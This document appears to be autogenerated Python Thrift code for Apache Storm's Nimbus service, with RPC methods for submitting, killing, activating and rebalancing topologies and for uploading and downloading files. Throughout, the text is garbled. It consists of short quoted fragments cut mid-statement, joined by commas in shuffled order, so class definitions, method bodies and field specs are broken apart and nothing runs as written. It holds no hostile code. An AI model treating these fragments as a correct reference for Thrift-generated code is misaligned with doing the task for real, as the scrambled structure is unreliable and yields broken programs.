StormTopology() self.success.read(iprot) else: iprot.skip(ftype) elif fid == 1: if", "iprot.readMessageEnd() result = getUserTopology_result() try: result.success = self._handler.getUserTopology(args.id) except NotAliveException", ") def __init__(self, id=None,): self.id = id def read(self, iprot):", "location self.chunk = chunk def read(self, iprot): if iprot.__class__ ==", "self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_rebalance(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin()", "class beginFileUpload_result: \"\"\" Attributes: - success \"\"\" thrift_spec = (", "def recv_getTopology(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if mtype", "rebalance(self, name, options): \"\"\" Parameters: - name - options \"\"\"", "KillOptions.thrift_spec), None, ), # 2 ) def __init__(self, name=None, options=None,):", "uploadChunk_args() args.read(iprot) iprot.readMessageEnd() result = uploadChunk_result() self._handler.uploadChunk(args.location, args.chunk) oprot.writeMessageBegin(\"uploadChunk\", TMessageType.REPLY,", "5 ) def __init__(self, name=None, uploadedJarLocation=None, jsonConf=None, topology=None, options=None,): self.name", "self._oprot.writeMessageBegin('rebalance', TMessageType.CALL, self._seqid) args = rebalance_args() args.name = name args.options", "self._iprot.readMessageEnd() raise x result = downloadChunk_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success", "iprot, oprot): args = killTopologyWithOpts_args() args.read(iprot) iprot.readMessageEnd() result = killTopologyWithOpts_result()", "def process_getClusterInfo(self, seqid, iprot, oprot): args = getClusterInfo_args() args.read(iprot) iprot.readMessageEnd()", "TMessageType.CALL, self._seqid) args = beginFileUpload_args() args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_beginFileUpload(self,", "is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getNimbusConf_result') if self.success", "as e: result.e = e oprot.writeMessageBegin(\"getTopologyConf\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd()", "None: self._oprot = oprot self._seqid = 0 def submitTopology(self, name,", "def send_beginFileDownload(self, file): self._oprot.writeMessageBegin('beginFileDownload', TMessageType.CALL, self._seqid) args = beginFileDownload_args() args.file", "is not None: return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, \"beginFileUpload failed: unknown", "getUserTopology(self, id): \"\"\" Parameters: - id \"\"\" self.send_getUserTopology(id) return self.recv_getUserTopology()", "args = beginFileDownload_args() args.read(iprot) iprot.readMessageEnd() result = beginFileDownload_result() result.success =", "NotAliveException as e: result.e = e oprot.writeMessageBegin(\"getTopologyConf\", TMessageType.REPLY, seqid) result.write(oprot)", "# 0 (1, TType.STRUCT, 'e', (NotAliveException, NotAliveException.thrift_spec), None, ), #", "not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopologyConf_result') if self.success is", "options \"\"\" self.send_submitTopologyWithOpts(name, uploadedJarLocation, jsonConf, topology, options) self.recv_submitTopologyWithOpts() def send_submitTopologyWithOpts(self,", "# 4 ) def __init__(self, name=None, uploadedJarLocation=None, jsonConf=None, topology=None,): self.name", "(self.__class__, self.thrift_spec))) return oprot.writeStructBegin('downloadChunk_args') if self.id is not None: oprot.writeFieldBegin('id',", "self.options = KillOptions() self.options.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd()", "self._iprot.readMessageEnd() raise x result = killTopology_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e", "jsonConf - topology - options \"\"\" self.send_submitTopologyWithOpts(name, uploadedJarLocation, jsonConf, topology,", "jsonConf - topology \"\"\" self.send_submitTopology(name, uploadedJarLocation, jsonConf, topology) self.recv_submitTopology() def", "self._handler.uploadChunk(args.location, args.chunk) oprot.writeMessageBegin(\"uploadChunk\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_finishFileUpload(self,", "is not None: raise result.ite return def beginFileUpload(self, ): self.send_beginFileUpload()", "is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopologyConf_result') if self.success", "self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_beginFileUpload(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin()", "def __ne__(self, other): return not (self == other) class getNimbusConf_result:", "id): \"\"\" Parameters: - id \"\"\" self.send_getTopology(id) return self.recv_getTopology() def", "not None: fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec)) return iprot.readStructBegin() while True:", "not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('rebalance_result') if self.e is", "(self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopology_result') if self.success is not None: oprot.writeFieldBegin('success',", "is not None: oprot.writeFieldBegin('file', TType.STRING, 1) oprot.writeString(self.file) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd()", "elif fid == 2: if ftype == TType.STRUCT: self.ite =", "__ne__(self, other): return not (self == other) class activate_result: \"\"\"", "self._processMap[\"beginFileUpload\"] = Processor.process_beginFileUpload self._processMap[\"uploadChunk\"] = Processor.process_uploadChunk self._processMap[\"finishFileUpload\"] = Processor.process_finishFileUpload self._processMap[\"beginFileDownload\"]", "is not None: oprot.writeFieldBegin('options', TType.STRUCT, 5) self.options.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd()", "uploadedJarLocation, jsonConf, topology, options) self.recv_submitTopologyWithOpts() def send_submitTopologyWithOpts(self, name, uploadedJarLocation, jsonConf,", "if result.e is not None: raise result.e raise TApplicationException(TApplicationException.MISSING_RESULT, \"getUserTopology", "killTopology_result() try: self._handler.killTopology(args.name) except NotAliveException as e: result.e = e", "(key, value) for key, value in self.__dict__.iteritems()] return '%s(%s)' %", "id): \"\"\" Parameters: - id \"\"\" self.send_getTopologyInfo(id) return self.recv_getTopologyInfo() def", "self.thrift_spec))) return oprot.writeStructBegin('submitTopology_result') if self.e is not None: oprot.writeFieldBegin('e', TType.STRUCT,", "not (self == other) class getClusterInfo_result: \"\"\" Attributes: - success", "= ( (0, TType.STRUCT, 'success', (TopologyInfo, TopologyInfo.thrift_spec), None, ), #", "x result = rebalance_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e is not", "raise result.e return def activate(self, name): \"\"\" Parameters: - name", "TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_killTopology(self, seqid, iprot, oprot):", "TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = getClusterInfo_result() result.read(self._iprot) self._iprot.readMessageEnd()", "def beginFileDownload(self, file): \"\"\" Parameters: - file \"\"\" pass def", "class beginFileDownload_args: \"\"\" Attributes: - file \"\"\" thrift_spec = (", "id \"\"\" self.send_getTopologyInfo(id) return self.recv_getTopologyInfo() def send_getTopologyInfo(self, id): self._oprot.writeMessageBegin('getTopologyInfo', TMessageType.CALL,", "): pass def getClusterInfo(self, ): pass def getTopologyInfo(self, id): \"\"\"", "def recv_getTopologyConf(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if mtype", "TType.STRING, 1) oprot.writeString(self.location) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def", "TApplicationException(TApplicationException.MISSING_RESULT, \"getTopology failed: unknown result\"); def getUserTopology(self, id): \"\"\" Parameters:", "self.thrift_spec))) return oprot.writeStructBegin('killTopology_result') if self.e is not None: oprot.writeFieldBegin('e', TType.STRUCT,", "def recv_uploadChunk(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if mtype", "fid == 5: if ftype == TType.STRUCT: self.options = SubmitOptions()", "rebalance_args() args.name = name args.options = options args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush()", "self._iprot.readMessageEnd() return def finishFileUpload(self, location): \"\"\" Parameters: - location \"\"\"", "= beginFileUpload_args() args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_beginFileUpload(self, ): (fname, mtype,", "x.read(self._iprot) self._iprot.readMessageEnd() raise x result = killTopology_result() result.read(self._iprot) self._iprot.readMessageEnd() if", "args = deactivate_args() args.name = name args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def", "= options args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_submitTopologyWithOpts(self, ): (fname, mtype,", "Autogenerated by Thrift Compiler (0.9.0) # # DO NOT EDIT", "self._iprot.readMessageEnd() raise x result = finishFileUpload_result() result.read(self._iprot) self._iprot.readMessageEnd() return def", "args = uploadChunk_args() args.location = location args.chunk = chunk args.write(self._oprot)", "result.e is not None: raise result.e return def killTopologyWithOpts(self, name,", "= rebalance_result() try: self._handler.rebalance(args.name, args.options) except NotAliveException as e: result.e", "__ne__(self, other): return not (self == other) class submitTopologyWithOpts_result: \"\"\"", "class rebalance_result: \"\"\" Attributes: - e - ite \"\"\" thrift_spec", "oprot.writeString(self.location) oprot.writeFieldEnd() if self.chunk is not None: oprot.writeFieldBegin('chunk', TType.STRING, 2)", "name \"\"\" self.send_deactivate(name) self.recv_deactivate() def send_deactivate(self, name): self._oprot.writeMessageBegin('deactivate', TMessageType.CALL, self._seqid)", "is not None: oprot.writeFieldBegin('e', TType.STRUCT, 1) self.e.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd()", "def __ne__(self, other): return not (self == other) class uploadChunk_result:", "None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getClusterInfo_args') oprot.writeFieldStop() oprot.writeStructEnd() def validate(self):", "oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('killTopologyWithOpts_result') if self.e is not None:", "process_killTopologyWithOpts(self, seqid, iprot, oprot): args = killTopologyWithOpts_args() args.read(iprot) iprot.readMessageEnd() result", "oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('beginFileDownload_args') if self.file is not None:", "oprot.writeMessageBegin(\"activate\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_deactivate(self, seqid, iprot,", "result = beginFileUpload_result() result.success = self._handler.beginFileUpload() oprot.writeMessageBegin(\"beginFileUpload\", TMessageType.REPLY, seqid) result.write(oprot)", "except NotAliveException as e: result.e = e oprot.writeMessageBegin(\"deactivate\", TMessageType.REPLY, seqid)", "oprot.writeMessageEnd() oprot.trans.flush() return else: self._processMap[name](self, seqid, iprot, oprot) return True", "id): self._oprot.writeMessageBegin('getTopologyConf', TMessageType.CALL, self._seqid) args = getTopologyConf_args() args.id = id", "TType.STRUCT, 'options', (SubmitOptions, SubmitOptions.thrift_spec), None, ), # 5 ) def", "self._oprot.trans.flush() def recv_activate(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if", "= jsonConf self.topology = topology def read(self, iprot): if iprot.__class__", "__init__(self, name=None, uploadedJarLocation=None, jsonConf=None, topology=None, options=None,): self.name = name self.uploadedJarLocation", "1 ) def __init__(self, name=None,): self.name = name def read(self,", "Attributes: - name - options \"\"\" thrift_spec = ( None,", "(self.__class__, self.thrift_spec))) return oprot.writeStructBegin('deactivate_result') if self.e is not None: oprot.writeFieldBegin('e',", "send_beginFileUpload(self, ): self._oprot.writeMessageBegin('beginFileUpload', TMessageType.CALL, self._seqid) args = beginFileUpload_args() args.write(self._oprot) self._oprot.writeMessageEnd()", "not None: oprot.writeFieldBegin('file', TType.STRING, 1) oprot.writeString(self.file) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def", "options def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans,", "recv_activate(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if mtype ==", "def process_uploadChunk(self, seqid, iprot, oprot): args = uploadChunk_args() args.read(iprot) iprot.readMessageEnd()", "oprot.writeFieldBegin('options', TType.STRUCT, 5) self.options.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return", "# 1 ) def __init__(self, id=None,): self.id = id def", "# 0 (1, TType.STRUCT, 'e', (AlreadyAliveException, AlreadyAliveException.thrift_spec), None, ), #", "return oprot.writeStructBegin('getUserTopology_args') if self.id is not None: oprot.writeFieldBegin('id', TType.STRING, 1)", "TProtocol try: from thrift.protocol import fastbinary except: fastbinary = None", "== other) class getTopology_args: \"\"\" Attributes: - id \"\"\" thrift_spec", "self.send_beginFileDownload(file) return self.recv_beginFileDownload() def send_beginFileDownload(self, file): self._oprot.writeMessageBegin('beginFileDownload', TMessageType.CALL, self._seqid) args", "jsonConf args.topology = topology args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_submitTopology(self, ):", "self._oprot.writeMessageBegin('submitTopologyWithOpts', TMessageType.CALL, self._seqid) args = submitTopologyWithOpts_args() args.name = name args.uploadedJarLocation", "class finishFileUpload_result: thrift_spec = ( ) def read(self, iprot): if", "AlreadyAliveException.thrift_spec), None, ), # 1 (2, TType.STRUCT, 'ite', (InvalidTopologyException, InvalidTopologyException.thrift_spec),", "return oprot.writeStructBegin('activate_args') if self.name is not None: oprot.writeFieldBegin('name', TType.STRING, 1)", "not None: oprot.writeFieldBegin('uploadedJarLocation', TType.STRING, 2) oprot.writeString(self.uploadedJarLocation) oprot.writeFieldEnd() if self.jsonConf is", "\"\"\" Parameters: - name - options \"\"\" pass def beginFileUpload(self,", "args = beginFileUpload_args() args.read(iprot) iprot.readMessageEnd() result = beginFileUpload_result() result.success =", "TProcessor from thrift.transport import TTransport from thrift.protocol import TBinaryProtocol, TProtocol", "Processor.process_killTopology self._processMap[\"killTopologyWithOpts\"] = Processor.process_killTopologyWithOpts self._processMap[\"activate\"] = Processor.process_activate self._processMap[\"deactivate\"] = Processor.process_deactivate", "oprot.writeStructBegin('uploadChunk_args') if self.location is not None: oprot.writeFieldBegin('location', TType.STRING, 1) oprot.writeString(self.location)", "# # Autogenerated by Thrift Compiler (0.9.0) # # DO", "), # 2 (3, TType.STRING, 'jsonConf', None, None, ), #", "topology \"\"\" self.send_submitTopology(name, uploadedJarLocation, jsonConf, topology) self.recv_submitTopology() def send_submitTopology(self, name,", "not None: oprot.writeFieldBegin('name', TType.STRING, 1) oprot.writeString(self.name) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def", "iprot, oprot): args = getClusterInfo_args() args.read(iprot) iprot.readMessageEnd() result = getClusterInfo_result()", "- success \"\"\" thrift_spec = ( (0, TType.STRING, 'success', None,", "Parameters: - id \"\"\" pass def getTopology(self, id): \"\"\" Parameters:", "NotAliveException as e: result.e = e oprot.writeMessageBegin(\"deactivate\", TMessageType.REPLY, seqid) result.write(oprot)", "self._seqid) args = getTopology_args() args.id = id args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush()", "return not (self == other) class downloadChunk_result: \"\"\" Attributes: -", "not (self == other) class getTopologyConf_result: \"\"\" Attributes: - success", "def send_uploadChunk(self, location, chunk): self._oprot.writeMessageBegin('uploadChunk', TMessageType.CALL, self._seqid) args = uploadChunk_args()", "self.uploadedJarLocation = uploadedJarLocation self.jsonConf = jsonConf self.topology = topology self.options", "iprot, oprot): args = activate_args() args.read(iprot) iprot.readMessageEnd() result = activate_result()", "and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary", "and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('finishFileUpload_args')", "TType.STRING, 'name', None, None, ), # 1 (2, TType.STRING, 'uploadedJarLocation',", "x.read(self._iprot) self._iprot.readMessageEnd() raise x result = finishFileUpload_result() result.read(self._iprot) self._iprot.readMessageEnd() return", "\"\"\" pass def beginFileUpload(self, ): pass def uploadChunk(self, location, chunk):", "is not None: raise result.e return def activate(self, name): \"\"\"", "raise x result = getNimbusConf_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is", "__ne__(self, other): return not (self == other) class killTopology_args: \"\"\"", "(0, TType.STRUCT, 'success', (StormTopology, StormTopology.thrift_spec), None, ), # 0 (1,", "import TType, TMessageType, TException, TApplicationException from ttypes import * from", "def recv_getClusterInfo(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if mtype", "(4, TType.STRUCT, 'topology', (StormTopology, StormTopology.thrift_spec), None, ), # 4 (5,", "import TTransport from thrift.protocol import TBinaryProtocol, TProtocol try: from thrift.protocol", "TMessageType.CALL, self._seqid) args = finishFileUpload_args() args.location = location args.write(self._oprot) self._oprot.writeMessageEnd()", "== TType.STOP: break else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot):", "self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_deactivate(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin()", "== TType.STRING: self.file = iprot.readString(); else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd()", "and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('downloadChunk_result')", "failed: unknown result\"); def downloadChunk(self, id): \"\"\" Parameters: - id", "fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('killTopology_args') if", "result = submitTopology_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e is not None:", "self._handler.getTopologyInfo(args.id) except NotAliveException as e: result.e = e oprot.writeMessageBegin(\"getTopologyInfo\", TMessageType.REPLY,", "None: raise result.e raise TApplicationException(TApplicationException.MISSING_RESULT, \"getUserTopology failed: unknown result\"); class", "TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = killTopologyWithOpts_result() result.read(self._iprot) self._iprot.readMessageEnd()", "self.thrift_spec))) return oprot.writeStructBegin('downloadChunk_args') if self.id is not None: oprot.writeFieldBegin('id', TType.STRING,", "- e \"\"\" thrift_spec = ( (0, TType.STRUCT, 'success', (TopologyInfo,", "\"\"\" Attributes: - location \"\"\" thrift_spec = ( None, #", "def send_rebalance(self, name, options): self._oprot.writeMessageBegin('rebalance', TMessageType.CALL, self._seqid) args = rebalance_args()", "oprot.writeMessageBegin(\"killTopologyWithOpts\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_activate(self, seqid, iprot,", "e: result.e = e oprot.writeMessageBegin(\"getUserTopology\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush()", "TType.STRUCT, 'e', (AlreadyAliveException, AlreadyAliveException.thrift_spec), None, ), # 1 (2, TType.STRUCT,", "result.success = self._handler.getTopology(args.id) except NotAliveException as e: result.e = e", "(1, TType.STRING, 'location', None, None, ), # 1 (2, TType.STRING,", ") def __init__(self, file=None,): self.file = file def read(self, iprot):", "return not (self == other) class killTopology_result: \"\"\" Attributes: -", "jsonConf, topology): self._oprot.writeMessageBegin('submitTopology', TMessageType.CALL, self._seqid) args = submitTopology_args() args.name =", "\"\"\" self.send_deactivate(name) self.recv_deactivate() def send_deactivate(self, name): self._oprot.writeMessageBegin('deactivate', TMessageType.CALL, self._seqid) args", "None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('submitTopology_args') if self.name is not", "name, uploadedJarLocation, jsonConf, topology): \"\"\" Parameters: - name - uploadedJarLocation", "x = TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = getClusterInfo_result()", "and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getNimbusConf_args')", "(2, TType.STRUCT, 'options', (KillOptions, KillOptions.thrift_spec), None, ), # 2 )", "return oprot.writeStructBegin('deactivate_result') if self.e is not None: oprot.writeFieldBegin('e', TType.STRUCT, 1)", "return not (self == other) class beginFileUpload_result: \"\"\" Attributes: -", "args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_submitTopology(self, ): (fname, mtype, rseqid) =", "TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_getClusterInfo(self, seqid, iprot, oprot):", "other) class beginFileUpload_result: \"\"\" Attributes: - success \"\"\" thrift_spec =", "result.read(self._iprot) self._iprot.readMessageEnd() if result.success is not None: return result.success if", "oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('deactivate_args') if self.name is not None:", "fastbinary = None class Iface: def submitTopology(self, name, uploadedJarLocation, jsonConf,", "(self.__class__, self.thrift_spec))) return oprot.writeStructBegin('uploadChunk_result') oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def", "1: if ftype == TType.STRING: self.location = iprot.readString(); else: iprot.skip(ftype)", "return def finishFileUpload(self, location): \"\"\" Parameters: - location \"\"\" self.send_finishFileUpload(location)", "= TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = getTopologyInfo_result() result.read(self._iprot)", "type, seqid) = iprot.readMessageBegin() if name not in self._processMap: iprot.skip(TType.STRUCT)", "args.id = id args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getUserTopology(self, ): (fname,", "try: result.success = self._handler.getTopologyInfo(args.id) except NotAliveException as e: result.e =", "pass def beginFileUpload(self, ): pass def uploadChunk(self, location, chunk): \"\"\"", "iprot.readMessageEnd() result = beginFileUpload_result() result.success = self._handler.beginFileUpload() oprot.writeMessageBegin(\"beginFileUpload\", TMessageType.REPLY, seqid)", "send_uploadChunk(self, location, chunk): self._oprot.writeMessageBegin('uploadChunk', TMessageType.CALL, self._seqid) args = uploadChunk_args() args.location", "TType.STRUCT, 'options', (RebalanceOptions, RebalanceOptions.thrift_spec), None, ), # 2 ) def", "break if fid == 1: if ftype == TType.STRING: self.name", "name args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_deactivate(self, ): (fname, mtype, rseqid)", "= e def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and", "unknown result\"); def getTopologyInfo(self, id): \"\"\" Parameters: - id \"\"\"", ") def __init__(self, success=None,): self.success = success def read(self, iprot):", "self.recv_activate() def send_activate(self, name): self._oprot.writeMessageBegin('activate', TMessageType.CALL, self._seqid) args = activate_args()", "getNimbusConf_result: \"\"\" Attributes: - success \"\"\" thrift_spec = ( (0,", "0 (1, TType.STRING, 'location', None, None, ), # 1 )", "fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopologyConf_result') if", "= getTopologyConf_args() args.read(iprot) iprot.readMessageEnd() result = getTopologyConf_result() try: result.success =", "TType.STRUCT, 'e', (NotAliveException, NotAliveException.thrift_spec), None, ), # 1 ) def", "chunk): \"\"\" Parameters: - location - chunk \"\"\" self.send_uploadChunk(location, chunk)", "finishFileUpload_result: thrift_spec = ( ) def read(self, iprot): if iprot.__class__", "self.thrift_spec))) return oprot.writeStructBegin('activate_args') if self.name is not None: oprot.writeFieldBegin('name', TType.STRING,", "other): return not (self == other) class submitTopology_result: \"\"\" Attributes:", "oprot.writeMessageEnd() oprot.trans.flush() def process_beginFileUpload(self, seqid, iprot, oprot): args = beginFileUpload_args()", "\"\"\" thrift_spec = ( None, # 0 (1, TType.STRING, 'id',", "args.options) except NotAliveException as e: result.e = e except InvalidTopologyException", "result = beginFileUpload_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is not None:", "# 1 (2, TType.STRUCT, 'options', (KillOptions, KillOptions.thrift_spec), None, ), #", "options): \"\"\" Parameters: - name - uploadedJarLocation - jsonConf -", "uploadedJarLocation=None, jsonConf=None, topology=None, options=None,): self.name = name self.uploadedJarLocation = uploadedJarLocation", "def process_killTopologyWithOpts(self, seqid, iprot, oprot): args = killTopologyWithOpts_args() args.read(iprot) iprot.readMessageEnd()", "oprot.writeFieldBegin('chunk', TType.STRING, 2) oprot.writeString(self.chunk) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return", "fid == 1: if ftype == TType.STRING: self.id = iprot.readString();", "def process_killTopology(self, seqid, iprot, oprot): args = killTopology_args() args.read(iprot) iprot.readMessageEnd()", "location - chunk \"\"\" self.send_uploadChunk(location, chunk) self.recv_uploadChunk() def send_uploadChunk(self, location,", "fid == 3: if ftype == TType.STRING: self.jsonConf = iprot.readString();", "self._handler.activate(args.name) except NotAliveException as e: result.e = e oprot.writeMessageBegin(\"activate\", TMessageType.REPLY,", "result.success is not None: return result.success if result.e is not", "self._oprot.trans.flush() def recv_beginFileDownload(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if", "def __ne__(self, other): return not (self == other) class beginFileUpload_args:", "else: iprot.skip(ftype) elif fid == 1: if ftype == TType.STRUCT:", "# HELPER FUNCTIONS AND STRUCTURES class submitTopology_args: \"\"\" Attributes: -", "TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_getTopologyConf(self, seqid, iprot, oprot):", "== other) class beginFileDownload_args: \"\"\" Attributes: - file \"\"\" thrift_spec", "x.read(self._iprot) self._iprot.readMessageEnd() raise x result = getUserTopology_result() result.read(self._iprot) self._iprot.readMessageEnd() if", "self.thrift_spec))) return oprot.writeStructBegin('submitTopologyWithOpts_result') if self.e is not None: oprot.writeFieldBegin('e', TType.STRUCT,", "iprot.readString(); else: iprot.skip(ftype) elif fid == 3: if ftype ==", "(self.__class__, self.thrift_spec))) return oprot.writeStructBegin('beginFileUpload_result') if self.success is not None: oprot.writeFieldBegin('success',", "1: if ftype == TType.STRING: self.name = iprot.readString(); else: iprot.skip(ftype)", "- location \"\"\" self.send_finishFileUpload(location) self.recv_finishFileUpload() def send_finishFileUpload(self, location): self._oprot.writeMessageBegin('finishFileUpload', TMessageType.CALL,", "result = beginFileDownload_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is not None:", "result.success = self._handler.beginFileDownload(args.file) oprot.writeMessageBegin(\"beginFileDownload\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def", "(StormTopology, StormTopology.thrift_spec), None, ), # 4 (5, TType.STRUCT, 'options', (SubmitOptions,", "self.thrift_spec))) return oprot.writeStructBegin('rebalance_result') if self.e is not None: oprot.writeFieldBegin('e', TType.STRUCT,", "submitTopology(self, name, uploadedJarLocation, jsonConf, topology): \"\"\" Parameters: - name -", "unknown result\"); class Processor(Iface, TProcessor): def __init__(self, handler): self._handler =", "fid == 0: if ftype == TType.STRING: self.success = iprot.readString();", "not (self == other) class beginFileDownload_args: \"\"\" Attributes: - file", "is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('beginFileDownload_args') if self.file", "topology): self._oprot.writeMessageBegin('submitTopology', TMessageType.CALL, self._seqid) args = submitTopology_args() args.name = name", "result = getClusterInfo_result() result.success = self._handler.getClusterInfo() oprot.writeMessageBegin(\"getClusterInfo\", TMessageType.REPLY, seqid) result.write(oprot)", "args = killTopologyWithOpts_args() args.name = name args.options = options args.write(self._oprot)", "raise TApplicationException(TApplicationException.MISSING_RESULT, \"beginFileUpload failed: unknown result\"); def uploadChunk(self, location, chunk):", "\"getTopologyInfo failed: unknown result\"); def getTopologyConf(self, id): \"\"\" Parameters: -", "is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('rebalance_args') if self.name", "recv_uploadChunk(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if mtype ==", "\"beginFileUpload failed: unknown result\"); def uploadChunk(self, location, chunk): \"\"\" Parameters:", "4) self.topology.write(oprot) oprot.writeFieldEnd() if self.options is not None: oprot.writeFieldBegin('options', TType.STRUCT,", "'options', (SubmitOptions, SubmitOptions.thrift_spec), None, ), # 5 ) def __init__(self,", "result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_getUserTopology(self, seqid, iprot, oprot): args =", "Parameters: - id \"\"\" pass def getTopologyConf(self, id): \"\"\" Parameters:", "getNimbusConf(self, ): self.send_getNimbusConf() return self.recv_getNimbusConf() def send_getNimbusConf(self, ): self._oprot.writeMessageBegin('getNimbusConf', TMessageType.CALL,", "name, options): \"\"\" Parameters: - name - options \"\"\" self.send_rebalance(name,", "'id', None, None, ), # 1 ) def __init__(self, id=None,):", "oprot): args = beginFileDownload_args() args.read(iprot) iprot.readMessageEnd() result = beginFileDownload_result() result.success", "= submitTopology_result() try: self._handler.submitTopology(args.name, args.uploadedJarLocation, args.jsonConf, args.topology) except AlreadyAliveException as", "self._processMap[\"getNimbusConf\"] = Processor.process_getNimbusConf self._processMap[\"getClusterInfo\"] = Processor.process_getClusterInfo self._processMap[\"getTopologyInfo\"] = Processor.process_getTopologyInfo self._processMap[\"getTopologyConf\"]", "== other) class submitTopologyWithOpts_result: \"\"\" Attributes: - e - ite", "(self == other) class getUserTopology_args: \"\"\" Attributes: - id \"\"\"", "as e: result.e = e oprot.writeMessageBegin(\"activate\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd()", "not (self == other) class killTopology_result: \"\"\" Attributes: - e", "ARE DOING # # options string: py # from thrift.Thrift", "self._processMap[\"getUserTopology\"] = Processor.process_getUserTopology def process(self, iprot, oprot): (name, type, seqid)", "TProcessor): def __init__(self, handler): self._handler = handler self._processMap = {}", ") def __init__(self, e=None, 